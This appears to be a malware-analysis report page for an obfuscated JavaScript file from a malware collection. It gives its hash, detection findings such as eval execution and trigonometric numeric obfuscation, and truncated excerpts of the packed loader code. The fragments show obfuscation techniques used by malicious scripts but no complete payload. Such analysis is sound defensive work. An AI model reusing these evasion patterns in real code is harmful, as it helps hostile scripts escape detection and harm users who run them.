Suspicious ^80% javascript-malware-collection Download

20151214_f14e6344a87d889120a87ccb7e138f24.js

obfuscated eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25647ab861994992485874abc013950f3412ebd8461be06b53ca6505e70912da462

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var L=new Array();
2G(L,"\x6e");G(L,"\x5f");G(L,"\x2d");G(L,"\x77");G(L,"\x72");G(L,"\x48");G(L,"\x73");G(L,"\x25");G(L,"\x5d");G(L,"\x54");G(L,"\x2a");G(L,"\x4b");G(L,"\x57");G(L,"\x5b");G(L,"\x20");G(L,"\x3a");G(L,"\x34");G(L,"\x5d");G(L,"\x6f");G(L,"\x3c");G(L,"\x49");G(L,"\x75");G(L,"\x43");G(L,"\x44");G(L,"\x3b");G(L,"\x4f");G(L,"\x64");G(L,"\x47");G(L,"\x54");G(L,"\x74");G(L,"\x64");G(L,"\x31");G(L,"\x49");G(L,"\x49");G(L,"\x23");G(L,"\x7a");G(L,"\x21");G(L,"\x6e");G(L,"\x5b");G(L,"\x63");G(L,"\x77");G(L,"\x5f");G(L,"\x32");G(L,"\x79");G(L,"\x59");G(L,"\x4a");G(L,"\x49");G(L,"\x76");G(L,"\x67");G(L,"\x70");G(L,"\x55");G(L,"\x5f");G(L,"\x78");G(L, …

Builds characters with String.fromCharCode line 4

4:254… 42],L[43],L[44],L[45],L[46],L[47],L[48],L[49],L[50],L[51],L[52],String.fromCharCode(10),L[53],L[54],L[55],L[56],L[57],L[58],L[59],L[60],L[61],L[62],L[63],L[64],L[65],L[66],L[67],String.fromCharCode(13),L[68],L[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… mqgweR,sssRCpQx){WiVW=parseInt(whXVdQDjERj,YDlCsiymqgweR);AAaMM=WiVW.toString(sssRCpQx);return AAaMM;}function uLfVWSQKaBuzfkm(LiYZdZoWaPQaHGque,aJOoWFjwFPjrCrCxsMnkgzltcDhSpTQPzn,ZAsxNgLehKlxDLRjpXXGjwYtmGUPZXCXtRi){eval(LiYZdZoWaPQaHGque)}
7function uLfVWSQKaBuzfkm(LiYZdZoWaPQaHGque){eval(LiYZdZoWaPQaHGque)}
8function vTpdhQtjHHvVFZZemfCmWMeAcQRllHQpgKAMJiMFyohoj …

Calls JavaScript split() lines 9–11

9:155… pxqwFcIFVVYPSi);}
10function JLnkcjRhVEJ(hSlBFbEP,leuqpz){return hSlBFbEP.split(leuqpz)}
11var R=[];R[0]=L[675];R[1]=L[676];R[2]=L[677];R[3]=L[678];R[4]=L[679];R[5]=L[680];R[6]=L[681];R[7]=L[682];R[8]=L[683];R[9]=L[684];R[10]=L[685];R[11]=L[686];R[12]=L[687];R[13]=L[688];R[14]=L[689];R[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,w];
14var zqSwBEeBo=[];
15function hgbcHEzBWCSdCIFCG(Hduop){vWAWUKRyaAZ= L[1779];for(ABjnGhijDoX=Math.round((Math.pow(Math.sin(451), 2) + Math.pow(Math.cos(451), 2) - 1)); ABjnGhijDoX < (839+359)/599; ABjnGhijDoX++) {zqSwBEeBo[ABjnGhijDoX]=Math.round((Math.pow(Math.sin(467), 2) + Math.pow(Math.cos(467), 2) - 1)); while(true) { if(zqSwBEeBo[ABjnGhijDoX] > Hduop[ABjnGhijDoX].length-(-574+834)/260) { break; } if (OXDacAy(JGhVF(Hduop[ABjnGhijDoX][zqSwBEeBo[ABjnGhijDoX]],(12768+ …